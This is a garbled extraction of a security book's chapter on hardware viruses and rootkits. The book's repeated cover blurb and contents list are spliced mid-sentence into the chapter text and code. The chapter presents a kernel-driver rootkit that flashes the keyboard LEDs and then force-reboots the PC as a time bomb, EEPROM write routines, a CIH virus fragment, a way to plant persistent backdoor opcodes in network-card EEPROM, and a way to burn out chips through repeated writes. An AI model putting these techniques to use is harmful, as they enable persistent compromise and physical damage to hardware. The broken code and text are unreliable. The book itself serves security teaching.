The Hardware Virus

is used to read or write to the flash memory. In some cases, the memory used by the chip is "m into physical memory, which means it can be accessed as normal linear memory.

Typically, a command is "shifted" to the ROM chip via the out instruction. Depending on the lan thein and out instructions may have subtle differences, but otherwise they are all doing the sa thing. For example:

•Table of Contents

•Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

Pub Date: February 17, 2004

OUT( some_byte_value, eeprom_register_address );

ISBN: 0-201-78695-8

Pages: 512

On an NT PC system, there are chunks of memory mapped between F0000000 and FFFFFFFF th contain empty spaces. A backdoor or rootkit program may only consume a few hundred bytes,

How does software break? How do attackers make software break on purpose? Why are

some empty space to store such a beast may not be that difficult. This region of memory is con firewalls,various peripheralsintrusion detectionand the motherboardsyst ms, and. Theantivirusmemorysoftwarebetweennot0000keepingandoutFFFFtheusuallybad guys?stores

Whatinput/outputtools can be used to break software? This book provides the answers.

ports of various devices and can be used to configure settings on hardware, and so The region between F9000 and F9FFF is a 4K chunk reserved for the motherboard BIOS. The re

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and betweenA0000 and C7FFF is used for video buffers and video card configuration.

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

Example: Read/Write to the Keyboard Hardware

This must-have book may shock you—and it will certainly educate you.Getting beyond the

script kiddie treatment found in many hacking books, you will learn about

Here we illustrate reading and writing to hardware using a rootkit. Our example will set the LED

indicators on the keyboard. For fun, we also illustrate how to hard boot the computer. This is a

Why software exploit will continue to be a serious problem

starting place for those who want to control more complex hardware from a rootkit.

When network security mechanisms do not work

An interesting form of communication can be designed using the LEDs of the keyboard. The 804

keyboard controller chip can be used to turn on/off the various keyboard LEDs. This can be use

Attack patterns

covert form of communication between a rootkit and the user of a terminal.

Reverse engineering

Our code is commented inline:

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

// BASIC DEVICE DRIVER TO SET KEYBOARD LEDs

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

// from www.rootkit.com

#include "ntddk.h"

#include <stdio.h>

VOID rootkit_command_thread(PVOID context);

•Table of Contents

•Index

Exploiting Software How to Break Code

WhenByGreg weHoglundsend,GarytheMcGrawcommand for setting the LEDs, we must immediately follow the command wi another byte. The second byte indicates which LEDs we want to toggle. The following bits repre

scroll lock, num lock, and caps lock indicators. A bit set to 1 causes the corresponding LED to b

Publisher: Addison Wesley

illuminated.

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What// flagstoolsforcan bekeyboardused to LEDSbreak software? This book provides the answers.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

#define CAPS_LOCK_BIT (0x01 << 2)

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

When writing to hardware we typically have to wait for the device to become ready. In the case When network security mechanisms do not work

keyboard we need to verify that the input buffer is empty. The following code loops, waiting for

occur. Also note the call to KeStallExecutionProcessor. This is required because we are waiti Attack patterns

the hardware to clear. When dealing with hardware you typically must wait for a short time bet operationsReverse. Thisengineeringcall stalls the processor for 666 msec.

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

ULONG WaitForKeyboard()

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

{

software.

char _t[255];

int i = 100; // number of times to loop

UCHAR mychar;

DbgPrint("waiting for keyboard to become accessible\n");

do

{

mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

•Table of Contents

•Index

Exploiting Software How to Break Code

KeStallExecutionProcessor(666);

ByGreg Hoglund,Gary McGraw

_snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n",

Publisher: Addison Wesley

DbgPrint(_t);

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

if(!(mychar & IBUFFER_FULL)) break; // if the flag is clear, we go a

}

How does software break? How do attackers make software break on purpose? Why are while (i—);

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and if(i) return TRUE;

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out. return FALSE;

This must-have book may shock you—and it will certainly educate you.Getting beyond the

}

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

// call WaitForKeyboard before calling this function

When network security mechanisms do not work

void DrainOutputBuffer()

Attack patterns

{

Reverse engineering

char _t[255];

Classic attacks against server software

int i = 100; // number of times to loop

Surprising attacks against client software

UCHAR c;

Techniques for crafting malicious input

The technical details of buffer overflows

DbgPrint("draining keyboard buffer\n");

Rootkits

Exploitingdo Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

{

c = READ_PORT_UCHAR(KEYBOARD_PORT_64);

KeStallExecutionProcessor(666);

_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n"

DbgPrint(_t);

ByGreg Hoglund,Gary McGraw

Publisher: Addison Wesley

// gobble up the byte in the output buffer

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

c = READ_PORT_UCHAR(KEYBOARD_PORT_60);

Pages: 512

_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n"

How does software break? How do attackers make software break on purpose? Why are

DbgPrint(_t);

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What}tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and while (i—);

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

}

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

ULONG gCount = 0;

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

This routineAttackpatternssendscommand bytes to the keyboard controller to cause a hard reset of the CPU. wait for the keyboard and then send the 0xFE command byte to port 0x64. In a flash, the comp bootsReverse. engineering

Classic attacks against server software

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkits

ULONG ResetPC()

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

{

software.

if(TRUE == WaitForKeyboard())

{

DrainOutputBuffer();

WRITE_PORT_UCHAR( KEYBOARD_PORT_64, 0xFE );

}

else

{

DbgPrint("ResetPC::timeout waiting for keyboard\n");

•Table of Contents

return FALSE;

• Index

Exploiting Software How to Break Code

}

ByGreg Hoglund,Gary McGraw

return TRUE;

Publisher: Addison Wesley

} Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

This routine waits for the keyboard to become ready and then sends the specified command byt 0x60.

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

// write a byte to the data port at 0x60

script kiddie treatment found in many hacking books, you will learn about

ULONG SendKeyboardCommand( IN UCHAR theCommand )

Why software exploit will continue to be a serious problem

{

When network security mechanisms do not work

char _t[255];

Attack patterns

Reverse engineering

if(TRUE == WaitForKeyboard())

Classic attacks against server software

{Surprising attacks against client software

DrainOutputBuffer();

Techniques for crafting malicious input

The technical details of buffer overflows

Rootkitssnprintf(_t, 253, "SendKeyboardCommand::sending byte %02X

Exploitingto port 0x60\n",SoftwaretheCommand);is filled with the tools, concepts, and knowledge necessary to break

software.

DbgPrint(_t);

WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );

{

DbgPrint("SetLEDS::error sending keyboard command\n");

}

}

•Table of Contents

•Index

Exploiting Software How to Break Code

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

ByGreg Hoglund,Gary McGraw

{

Publisher: Addison Wesley

DbgPrint("ROOTKIT: OnUnload called\n");

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

KeCancelTimer( gTimer );

Pages: 512

ExFreePool( gTimer );

ExFreePool( gDPCP );

How does software break? How do attackers make software break on purpose? Why are

}

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

techniques used by bad guys to break software. If you want to protect your software from This routine is a callback that occurs every 300 msec. From this call we change the LED pattern

attack, you must first learn how real attacks are really carried out.

causes an amusing display of dancing LEDs on the keyboard. After 100 iterations, the routine re

PC (beware of this time bomb!).

This must-have book may shock you—and it will certainly educate you.Getting beyond the

script kiddie treatment found in many hacking books, you will learn about

This routine is called a deferred procedure call (DPC) and is activated next. When we unload the

we must be sure to cancel the DPC callback with KeCancelTimer().

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

Attack patterns

Reverse engineering

Classic attacks against server software

// called periodically

Surprising attacks against client software

Techniques for crafting malicious input

IN PVOID DeferredContext,

The technical details of buffer overflows

IN PVOID sys1,

Rootkits

IN PVOID sys2)

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

{

if(!g_key_bits++) SetLEDS( 0x04 );

else

{

g_key_bits=0;

SetLEDS(0x01);

if(gCount++ > 100) ResetPC();

}

•Table of Contents

}

•Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

ThePublisher:main routineAddisonofWesleythe rootkit initializes and starts a timer via the KeSetTimerEx() call. The th

argument of the call (300) is the number of milliseconds between timer events.

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

PUNICODE_STRING theRegistryPath )

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

{

This must-have book may shock you—and it will certainly educate you.Getting beyond the

LARGE_INTEGER timeout;

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem theDriverObject->DriverUnload = OnUnload;

When network security mechanisms do not work

// these objects must be nonpaged

Attack patterns

gTimer = ExAllocatePool(NonPagedPool,sizeof(KTIMER));

Reverse engineering

gDPCP = ExAllocatePool(NonPagedPool,sizeof(KDPC));

Classic attacks against server software

Surprising attacks against client software

timeout.QuadPart = -10;

Techniques for crafting malicious input

The technical details of buffer overflows

KeInitializeTimer( gTimer );

Rootkits

KeInitializeDpc( gDPCP, timerDPC, NULL );

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break software.

{

DbgPrint("Timer was already queued..");

}

return STATUS_SUCCESS;

•Table of Contents

}

•Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

ThisPublisher:concludesAddisourn Wesleysample hardware driver. This simple driver can be expanded to deal with oth

of hardware. You are forewarned that messing around with hardware can sometimes permanen

Pub Date: February 17, 2004

damage a computer. Play at your own risk!

ISBN: 0-201-78695-8

Pages: 512

Enable Read/Write from EEPROM

For this example we consider the 430TX PCI chip set typically found on an Intel motherboard. T controllHow doers chipsoftwareis 82439TXbreak? How(MTXC)do attackerschip. Themakefollowingsoftwareregistersbreakareon mappedpurpose?intoWhyuserare-accessib addressfirewalls,space:intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

CONFADD 0xCF8

Why software exploit will continue to be a serious problem

Configuration Register

When network security mechanisms do not work

Attack patterns

CONFDATA 0xCFC

Reverse engineering

ConfigurationClassic attacksDatagainstRegisterserver software

Surprising attacks against client software

Techniques for crafting malicious input

The CONFADD register controls which PCI device is selected. Each device on the PCI bus can ha

The technical details of buffer overflows

8-bit "registers." To reference a configuration register, a number must be placed into CONFADD

indicates the bus number, the device number, the function number, and the configuration regis

Rootkits

target. The CONFDATA register then becomes a "window" that is mapped onto 4 bytes of config

space. Any read or write to CONFDATA is translated into a read/write operation against the targ Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

configuration space. software.

It is interesting to note that the MTXC itself is considered a target device, and the CONFADD/CO registers can be used to configure the MTXC itself. We encourage you to consult the official Inte documentation on the PCI chip set to obtain tables of command codes and flags.

CIH

; * 000FE000 - 000FE07F *

•Table of Contents

•Index

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

; ***********************

Publisher: Addison Wesley

Pub Date: February 17, 2004

How does software break? How do attackers make software break on purpose? Why are

; ***********************

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

; or al,10h

This must-have book may shock you—and it will certainly educate you.Getting beyond the call esi

script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

; ***************************

When network security mechanisms do not work

Attack patterns

; * Enable EEPROM to Write *

Reverse engineering

; ***************************

Classic attacks against server software

Surprising attacks against client software

EnableEEPROMToWrite:

Techniques for crafting malicious input

mov [eax], cl

The technical details of buffer overflows

ret

the 82559 control register. The address of the 82559 is controlled via the PCI chip set on the motherboard. Once the base address of the chip is known, there are many registers that can be accessed as offsets from this base address:

•Table of Contents

Exploiting Software How to Break Code

TheHowcommanddoes softwarebytesbrethak?tcanHowbedosenattackerstothe 82559make softwareinclude break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Command value

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

This must-have book may shock you—and it will certainly educate you.Getting beyond the

FLEXMODETechniques for crafting malicious0x80000input

The technical details of buffer overflows

The EEPROM port is offset 14 bytes from the base address of the 82559. Commands can be sen Rootkits

to the EEPROM port. These commands can be combined together via an or operation:

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break software.

static void write_eeprom(short ioaddr, int index, int value)

{

• Index

usleep(60);

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

outw(EEPROM_ERASE + index, ioaddr + 10);

Publisher: Addison Wesley

usleep(60);

Pub Date: February 17, 2004

outw(EEPROMISBN: 0-201-78695_EWENB,-8 ioaddr + 10);

Pages: 512

usleep(60);

outw(value, ioaddr + 12);

outw(EEPROM_WRITE + index, ioaddr + 10);

How does software break? How do attackers make software break on purpose? Why are

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? usleep(10000);

What tools can be used to break software? This book provides the answers.

}

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

When examining source code for a driver, you will notice that many of the values include bit shi script kiddie treatment found in many hacking books, you will learn about

masks. This is because input/output ports are typically made up of many short bit fields. You sh consult the data sheets of particular target EEPROM chips to determine their exact operation.

Why software exploit will continue to be a serious problem

Most EEPROM chips are not fully used by the card. There are thus "cavities" of unused space wh can beWhenstashedn twork.In somesecuritycases,mectheanismsflash ordothenotEEPROMwork will contain opcodes that are used by t micromachine. In this case you can modify the opcodes to make copies of certain packets and r

Attack patterns

them onto the network. This is a rather insidious trick because once the opcodes are altered, th

remain altered forever. In other words, if the OS is reinstalled, the backdoor will remain. In fac

Reverse engineering

ethernet card is transferred to a different computer, it will still include the Trojan code.

Classic attacks against server software

SerialSurprisingEEPROMattacksversusagain tParallelclient softwareEEPROM

Techniques for crafting malicious input

Serial EEPROMs are not conventional memory because of the serial nature of reads and writes.

operate on a special bus called the I2C (interintegrated circuit ) bus. Serial EEPROMS are gener

The technical details of buffer overflows

slower than the parallel chips. They use two pins for operation. Some serial EEPROM chips use f

for operation. Rootkits

Parallel EEPROM, on the other hand, can be accessed like static RAM and will be wired to the ad Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

bus. In some cases, the EEPROM chips will not be exposed for read/write operations except via software.

input/output controller chips.

Burning Out Hardware

Serial EEPROM chips are the Achilles' heel that allows viruses to destroy hardware. In the past, would destroy hardware with viruses by setting weird clock speeds on the video card or by park hard drive heads and then performing a seek. Today, many such tricks no longer work. Howeve

can write a virus that burns data to a serial EEPROM in a tight loop. Many chips are only rated f 1 million write operations per byte. That means that in less than an hour you can destroy the ch

Serial EEPROMS are becoming much more common in hardware, so the opportunity for physica destruction from software will only continue to grow. Debugging a faulty EEPROM chip will be d and, even if the problem is discovered, the EEPROM chip is surface mounted to the mother boar making replacement difficult and expensive.

•Table of Contents

•Index

Manufacturers

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

Here is a short list of EEPROM chip manufacturers. The reader can consult each manufacturer's

sheet and documentation directly for further information. The chip numbers are included for tho

Publisher: Addison Wesley

enough to open the hood on a device. Some attackers have been known to go over each chip w

Pub Date: February 17, 2004

small flashlight, writing down identifying marks.

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

Amtel

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and AT28XXXtechniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

Fairchildscr pt k ddiesemiconductortreatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

National Semiconductor

When network security mechanisms do not work

93CXXX

Attack patterns

Reverse engineering

Microchip

Classic attacks against server software

24CXXXSurprising attacks against client software

LargeTechniquesdevicesfor craftingincludemalicious24C32, input24C64, 24C128, 24C256,

The technical details of buffer overflows

24C5412, 24C04, 24C08, 24C16.

Rootkits

These require two-byte address fields but are not typically

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break found on a PC.

software.

93CXXX

SIEMENS

SDEXXX

1.put device in query mode

a.base+0x55 = 0x98

b.base+0xAA = 0x9898

2.base + 10 == 'QRY'

3. is it RAM?

Exploiting Software How to Break Code

ByGreg Hoglunda. Perform,Gary McGrawa write and then a read

b. Put back original byte if this worked

Publisher: Addison Wesley

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

Detecting Chips via ID Mode or JEDEC ID

The JEDEC mode for detecting flash chips is older than CFI. However, some older chips can be d withHow thisdoestechniqusoftware.break?The manufacturerHow do attackersand devicemakecansoftwarebe detectedbreak.onHerepurpose?are someWhycodearesnippet performfirewalls,queintrusionies fordetectionJEDEC informationsystems, and. Thisantivirusexamplesoftwarecode is notfromkeepingthe MTDout-Linuxthe baddistributionguys? [6]

What tools can be used to break software? This book provides the answers.

[6] This code comes from the jedec_probe.c file found in the MTD-Linux distribution.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

/* Reset */

When network security mechanisms do not work

jedec_reset(base, map, cfi);

Attack patterns

/* Autoselect Mode */

Reverse engineering

if(cfi->addr_unlock1) {

Classic attacks against server software

Surprising attackscfi sendagainstgen_clientcmd(0xaa,softwarecfi->addr_unlock1, base, map, cfi,

CFI_DEVICETYPETechniques forX8,craftingNULL);malicious input

The technical details of buffer overflows

cfi_send_gen_cmd(0x55, cfi->addr_unlock2, base, map, cfi,

Rootkits

CFI_DEVICETYPE_X8, NULL);

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

}

software.

cfi_send_gen_cmd(0x90, cfi->addr_unlock1, base, map, cfi, CFI_DEVICETYPE_X8

NULL);

followed by